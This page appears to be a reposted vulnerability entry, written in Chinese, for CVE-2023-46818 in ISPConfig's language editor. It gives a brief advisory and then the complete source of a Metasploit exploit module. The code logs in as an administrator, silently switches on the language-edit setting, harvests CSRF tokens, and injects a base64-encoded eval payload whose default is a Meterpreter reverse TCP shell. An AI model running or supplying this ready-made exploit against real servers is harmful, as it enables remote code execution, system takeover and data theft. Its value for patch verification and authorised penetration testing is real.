ISPConfig language_editphp PHP代码注入漏洞

漏洞信息

漏洞名称: ISPConfig language_edit.php PHP代码注入漏洞

漏洞编号:

  • CVE: CVE-2023-46818

漏洞类型: 代码注入

漏洞等级: 高危

漏洞描述: ISPConfig是一款广泛使用的开源主机控制面板,用于管理网站、电子邮件、数据库等。它通常部署在Linux服务器上,为管理员提供图形化界面以简化服务器管理任务。由于其功能强大且易于使用,ISPConfig在中小型企业及个人用户中非常受欢迎。该漏洞存在于ISPConfig的language_edit.php文件中,当admin_allow_langedit设置被启用时,攻击者可以通过语言编辑器界面注入任意PHP代码。漏洞的技术根源在于对用户输入的不当验证,导致攻击者能够通过构造恶意请求执行任意代码。这种漏洞的影响极为严重,因为它允许攻击者在服务器上执行任意代码,可能导致完全控制受影响的系统。攻击者可以利用此漏洞窃取敏感数据、安装恶意软件或进行其他恶意活动。值得注意的是,利用此漏洞需要管理员权限,但一旦获得这些权限,攻击者就可以轻松地利用该漏洞。此外,该漏洞的利用过程可以自动化,增加了其潜在的危险性。

产品厂商: ISPConfig

产品名称: ISPConfig

影响版本: version < 3.2.11p1

来源: https://github.com/rapid7/metasploit-framework/blob/ef611d18150c06525732187cf3e3f5e806efcd0f/modules%2Fexploits%2Flinux%2Fhttp%2Fispconfig_lang_edit_php_code_injection.rb

类型: rapid7/metasploit-framework:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ISPConfig language_edit.php PHP Code Injection',
'Description' => %q{
This module exploits a PHP code injection vulnerability in ISPConfig's
language_edit.php file. The vulnerability occurs when the `admin_allow_langedit`
setting is enabled, allowing authenticated administrators to inject arbitrary
PHP code through the language editor interface.

This module will automatically check if the required `admin_allow_langedit`
permission is enabled, and attempt to enable it if it's disabled (requires
admin credentials with system configuration access).

The exploit works by injecting a PHP payload into a language file, which
is then executed when the file is accessed. The payload is base64 encoded
and written using PHP's file_put_contents function.
},
'License' => MSF_LICENSE,
'Author' => [
'syfi', # Discovery and PoC
'Egidio Romano'
],
'References' => [
['CVE', '2023-46818'],
['URL', 'https://github.com/SyFi/CVE-2023-46818'],
['URL', 'https://karmainsecurity.com/KIS-2023-13'],
['URL', 'https://karmainsecurity.com/pocs/CVE-2023-46818.php']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
[
'Automatic PHP',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'Privileged' => false,
'DisclosureDate' => '2023-10-24',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The URI path to ISPConfig', '/']),
OptString.new('USERNAME', [true, 'ISPConfig administrator username']),
OptString.new('PASSWORD', [true, 'ISPConfig administrator password'])
])
end

def check
print_status('Checking if the target is ISPConfig...')
return CheckCode::Unknown('Failed to login') unless authenticate

# Always try to log in and parse version, since credentials are required
# cookie_jar.clear (handled in exploit)
# Try to access the dashboard or settings page
settings_res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'help', 'version.php'),
'keep_cookies' => true
})
if settings_res
doc = settings_res.get_html_document
# Try to find version in a span, div, or similar element
version_element = doc.at('//p[@class="frmTextHead"]')
if version_element
version_text = version_element.text
version = version_text.split(':')[1].gsub(' ', '')
version = Rex::Version.new(version)
if version < Rex::Version.new('3.2.11p1')
print_good("ISPConfig version detected: #{version_text}")
return CheckCode::Appears("Version: #{version_text}")
end
end
end
CheckCode::Safe
end

def authenticate
print_status("Attempting login with username '#{datastore['USERNAME']}' and password '#{datastore['PASSWORD']}'")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login/'),
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
's_mod' => 'login'
},
'keep_cookies' => true
})
return false unless res

if res&.code == 302
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login/', res&.headers&.fetch('Location', nil))
})
end
body_downcase = res.body.downcase.freeze
return false if body_downcase.include?('username or password wrong')

if res.headers.fetch('Location', nil)&.include?('admin') || body_downcase.include?('dashboard')
print_good('Login successful!')
return true
end
print_warning('Login status unclear, attempting to continue...')
true
end

def check_langedit_permission
print_status('Checking if admin_allow_langedit is enabled...')

# Try to access the language editor to see if it's accessible
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
res = send_request_cgi({
'method' => 'GET',
'uri' => edit_url,
'keep_cookies' => true
})

if res&.code == 200 && res.body.include?('language_edit')
print_good('Language editor is accessible - admin_allow_langedit appears to be enabled')
return true
elsif res&.code == 403
print_warning('Language editor access denied - admin_allow_langedit may be disabled')
return false
else
print_warning('Could not determine language editor accessibility')
return false
end
end

def enable_langedit_permission
print_status('Attempting to enable admin_allow_langedit...')

# Try to access the system settings page
settings_url = normalize_uri(target_uri.path, 'admin', 'system_config.php')
res = send_request_cgi({
'method' => 'GET',
'uri' => settings_url,
'keep_cookies' => true
})

unless res && res.code == 200
print_warning('Could not access system configuration page')
return false
end

doc = res.get_html_document
csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')

unless csrf_id && csrf_key
print_warning('Could not extract CSRF tokens from system config page')
return false
end

# Try to enable the setting
enable_data = {
'_csrf_id' => csrf_id,
'_csrf_key' => csrf_key,
'admin_allow_langedit' => '1',
'action' => 'save'
}

res = send_request_cgi({
'method' => 'POST',
'uri' => settings_url,
'vars_post' => enable_data,
'keep_cookies' => true
})

if res&.code == 200
print_good('Successfully enabled admin_allow_langedit')
return true
else
print_warning('Failed to enable admin_allow_langedit')
return false
end
end

def inject_payload
print_status('Injecting PHP payload...')
@payload_file = "#{Rex::Text.rand_text_alpha_lower(8)}.php"
b64_payload = Base64.strict_encode64(payload.encoded)
injection = "'];eval(base64_decode('#{b64_payload}'));die;#"
lang_file = Rex::Text.rand_text_alpha_lower(10) + '.lng'
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
initial_data = {
'lang' => 'en',
'module' => 'help',
'lang_file' => lang_file
}
res = send_request_cgi({
'method' => 'POST',
'uri' => edit_url,
'vars_post' => initial_data,
'keep_cookies' => true
})
fail_with(Failure::UnexpectedReply, 'Unable to access language_edit.php') unless res
doc = res.get_html_document
csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value')
csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value')
unless csrf_id && csrf_key
fail_with(Failure::UnexpectedReply, 'CSRF tokens not found!')
end
print_good("Extracted CSRF tokens: ID=#{csrf_id[0..10]}..., KEY=#{csrf_key[0..10]}...")
injection_data = {
'lang' => 'en',
'module' => 'help',
'lang_file' => lang_file,
'_csrf_id' => csrf_id,
'_csrf_key' => csrf_key,
'records[\]' => injection
}
send_request_cgi({
'method' => 'POST',
'uri' => edit_url,
'vars_post' => injection_data,
'keep_cookies' => true
})
end

def exploit
cookie_jar.clear
fail_with(Failure::NoAccess, 'Authentication failed') unless authenticate

# Check if language editor permissions are enabled
unless check_langedit_permission
print_warning('admin_allow_langedit appears to be disabled')
print_status('Attempting to enable admin_allow_langedit...')

if enable_langedit_permission
print_good('Successfully enabled admin_allow_langedit, retrying exploit...')
# Re-check permissions after enabling
unless check_langedit_permission
fail_with(Failure::NoAccess, 'Failed to enable admin_allow_langedit or language editor still not accessible')
end
else
fail_with(Failure::UnexpectedReply, 'Could not enable admin_allow_langedit - exploit requires this setting to be enabled')
end
end

inject_payload
end
end



ISPConfig language_editphp PHP代码注入漏洞
http://example.com/2025/07/08/github_2337990739/
作者
lianccc
发布于
2025年7月8日
许可协议